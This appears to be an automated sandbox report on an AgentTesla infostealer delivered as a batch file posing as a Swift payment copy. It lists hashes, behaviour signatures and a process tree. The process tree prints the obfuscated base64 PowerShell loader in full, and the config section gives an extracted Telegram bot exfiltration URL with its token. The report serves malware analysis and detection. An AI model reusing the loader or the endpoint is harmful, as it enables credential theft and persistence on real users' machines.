Analysis
-
max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
27-03-2024 01:41
Static task
static1
Behavioral task
behavioral1
Sample
Rimessa _Swift_Copy_104.bat
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
Rimessa _Swift_Copy_104.bat
Resource
win10v2004-20240226-en
General
-
Target
Rimessa _Swift_Copy_104.bat
-
Size
190KB
-
MD5
9c8e718ad44b4580a60af5297036b3b2
-
SHA1
c399ac2601b440e518eb778609986ea54c218ccf
-
SHA256
de6511f08ed03c52a930a8825a34ff72bfc54d51110a4412a3f656a0da4b1f49
-
SHA512
435c2e21ba8c3fa46421fd259ca4a8044eedbaec9c902b2e6b63b4c5716cb18aaf9578c5e8bb6bef0b8e4031d24c5f1b4fb8d264e2e21c45b0a6847dca0c451c
-
SSDEEP
3072:ehRrgvH6Sn0Kpt0Ifi+neNrP1gnrV2GCs11IxDdLNf+eyRBmZggHRzjS9b1yOcOA:ehVS0tIfZeNpgB25s1CnBwmZB/S9pkBr
Malware Config
Extracted
agenttesla
https://api.telegram.org/bot7132889766:AAFJvPkiK-1rv-CJQ2hQXEL_CYzO_zi018g/
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Drops startup file 2 IoCs
Processes:
powershell.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.bat powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.bat powershell.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1600 set thread context of 1716 1600 powershell.exe RegAsm.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
powershell.exepowershell.exeRegAsm.exepid process 3608 powershell.exe 3608 powershell.exe 1600 powershell.exe 1600 powershell.exe 1716 RegAsm.exe 1716 RegAsm.exe 1716 RegAsm.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exeRegAsm.exedescription pid process Token: SeDebugPrivilege 3608 powershell.exe Token: SeDebugPrivilege 1600 powershell.exe Token: SeDebugPrivilege 1716 RegAsm.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
cmd.execmd.exepowershell.exedescription pid process target process PID 1480 wrote to memory of 396 1480 cmd.exe cmd.exe PID 1480 wrote to memory of 396 1480 cmd.exe cmd.exe PID 396 wrote to memory of 3608 396 cmd.exe powershell.exe PID 396 wrote to memory of 3608 396 cmd.exe powershell.exe PID 396 wrote to memory of 3608 396 cmd.exe powershell.exe PID 396 wrote to memory of 1600 396 cmd.exe powershell.exe PID 396 wrote to memory of 1600 396 cmd.exe powershell.exe PID 396 wrote to memory of 1600 396 cmd.exe powershell.exe PID 1600 wrote to memory of 1716 1600 powershell.exe RegAsm.exe PID 1600 wrote to memory of 1716 1600 powershell.exe RegAsm.exe PID 1600 wrote to memory of 1716 1600 powershell.exe RegAsm.exe PID 1600 wrote to memory of 1716 1600 powershell.exe RegAsm.exe PID 1600 wrote to memory of 1716 1600 powershell.exe RegAsm.exe PID 1600 wrote to memory of 1716 1600 powershell.exe RegAsm.exe PID 1600 wrote to memory of 1716 1600 powershell.exe RegAsm.exe PID 1600 wrote to memory of 1716 1600 powershell.exe RegAsm.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Rimessa _Swift_Copy_104.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Rimessa _Swift_Copy_104.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0g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5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiY2hyb21lLmJhdCINCiRsYXN0TGluZSA9IEdldC1Db250ZW50IC1QYXRoICRmaWxlUGF0aCB8IFNlbGVjdC1PYmplY3QgLUxhc3QgMQ0KJGNsZWFuZWRMaW5lID0gJGxhc3RMaW5lIC1yZXBsYWNlICdeOjonDQokcmV2ZXJzZSA9IFJldmVyc2VTdHJpbmcgJGNsZWFuZWRMaW5lDQokZGVjb21wcmVzc2VkQnl0ZSA9IERlY29tcHJlc3NCeXRlcyAtY29tcHJlc3NlZERhdGEgJHJldmVyc2UNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCkludm9rZS1FeHByZXNzaW9uICRkZWNvZGVkU3RyaW5nDQoNCkNsb3NlLVByb2Nlc3MgLVByb2Nlc3NOYW1lICJjbWQi')) | Out-File -FilePath 'C:\Users\Admin\chrome.ps1' -Encoding UTF8"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\chrome.ps1"3⤵
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.logFilesize
1KB
MD54280e36a29fa31c01e4d8b2ba726a0d8
SHA1c485c2c9ce0a99747b18d899b71dfa9a64dabe32
SHA256e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
SHA512494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
16KB
MD5c8b75d5e8d459c01d0a45cf9b64ef226
SHA1530edcbb8734144cd418670fbfe484b896c535f4
SHA2561501a566a75580ba11024523441dafd8791a629ce562e732a6f1218b8df96ee6
SHA5121e3559d53f7e00730882341b867c91085b7f5f4ec4451592b41f9026c7a384b628f42dc66d5037a5cc34be3dee65e727ca088af85042d842190efc82728fc661
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3z4ztl4u.nio.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\chrome.batFilesize
190KB
MD59c8e718ad44b4580a60af5297036b3b2
SHA1c399ac2601b440e518eb778609986ea54c218ccf
SHA256de6511f08ed03c52a930a8825a34ff72bfc54d51110a4412a3f656a0da4b1f49
SHA512435c2e21ba8c3fa46421fd259ca4a8044eedbaec9c902b2e6b63b4c5716cb18aaf9578c5e8bb6bef0b8e4031d24c5f1b4fb8d264e2e21c45b0a6847dca0c451c
-
C:\Users\Admin\chrome.ps1Filesize
1KB
MD51d6288e218ce9fed4e703ef5aa2e6c08
SHA139c5fbc0b8931bab67c40dc3f45be696ea3beb90
SHA256d0832834c002fe7e915e8c78b21642df8ab90dd778e77f8c9dfbf93d9a517ae6
SHA512c45d64b2aede293f414e1325d711df3314cf9527a62dbb362cf4210b8eeedcb8232feca70bf6a548cc865c9598c02620667b4920a049c9f50d7d7c0eda68507c
-
memory/1600-48-0x0000000004830000-0x000000000483A000-memory.dmpFilesize
40KB
-
memory/1600-46-0x00000000055A0000-0x0000000005604000-memory.dmpFilesize
400KB
-
memory/1600-44-0x0000000007410000-0x00000000079B4000-memory.dmpFilesize
5.6MB
-
memory/1600-43-0x0000000006C70000-0x0000000006C92000-memory.dmpFilesize
136KB
-
memory/1600-42-0x0000000006CE0000-0x0000000006D76000-memory.dmpFilesize
600KB
-
memory/1600-28-0x0000000074F50000-0x0000000075700000-memory.dmpFilesize
7.7MB
-
memory/1600-49-0x0000000077971000-0x0000000077A91000-memory.dmpFilesize
1.1MB
-
memory/1600-30-0x0000000002180000-0x0000000002190000-memory.dmpFilesize
64KB
-
memory/1600-29-0x0000000002180000-0x0000000002190000-memory.dmpFilesize
64KB
-
memory/1600-54-0x0000000074F50000-0x0000000075700000-memory.dmpFilesize
7.7MB
-
memory/1716-50-0x0000000000400000-0x0000000000442000-memory.dmpFilesize
264KB
-
memory/1716-52-0x0000000074F50000-0x0000000075700000-memory.dmpFilesize
7.7MB
-
memory/1716-59-0x0000000005840000-0x0000000005850000-memory.dmpFilesize
64KB
-
memory/1716-58-0x0000000074F50000-0x0000000075700000-memory.dmpFilesize
7.7MB
-
memory/1716-57-0x0000000006900000-0x000000000690A000-memory.dmpFilesize
40KB
-
memory/1716-56-0x0000000006960000-0x00000000069F2000-memory.dmpFilesize
584KB
-
memory/1716-55-0x0000000006870000-0x00000000068C0000-memory.dmpFilesize
320KB
-
memory/1716-53-0x0000000005840000-0x0000000005850000-memory.dmpFilesize
64KB
-
memory/3608-18-0x0000000005DA0000-0x00000000060F4000-memory.dmpFilesize
3.3MB
-
memory/3608-6-0x0000000005470000-0x0000000005492000-memory.dmpFilesize
136KB
-
memory/3608-5-0x0000000005530000-0x0000000005B58000-memory.dmpFilesize
6.2MB
-
memory/3608-4-0x0000000004EF0000-0x0000000004F00000-memory.dmpFilesize
64KB
-
memory/3608-3-0x0000000074F50000-0x0000000075700000-memory.dmpFilesize
7.7MB
-
memory/3608-7-0x0000000005C50000-0x0000000005CB6000-memory.dmpFilesize
408KB
-
memory/3608-13-0x0000000005D30000-0x0000000005D96000-memory.dmpFilesize
408KB
-
memory/3608-2-0x0000000004E80000-0x0000000004EB6000-memory.dmpFilesize
216KB
-
memory/3608-26-0x0000000074F50000-0x0000000075700000-memory.dmpFilesize
7.7MB
-
memory/3608-19-0x0000000006230000-0x000000000624E000-memory.dmpFilesize
120KB
-
memory/3608-20-0x0000000006250000-0x000000000629C000-memory.dmpFilesize
304KB
-
memory/3608-21-0x0000000007B60000-0x00000000081DA000-memory.dmpFilesize
6.5MB
-
memory/3608-22-0x0000000006760000-0x000000000677A000-memory.dmpFilesize
104KB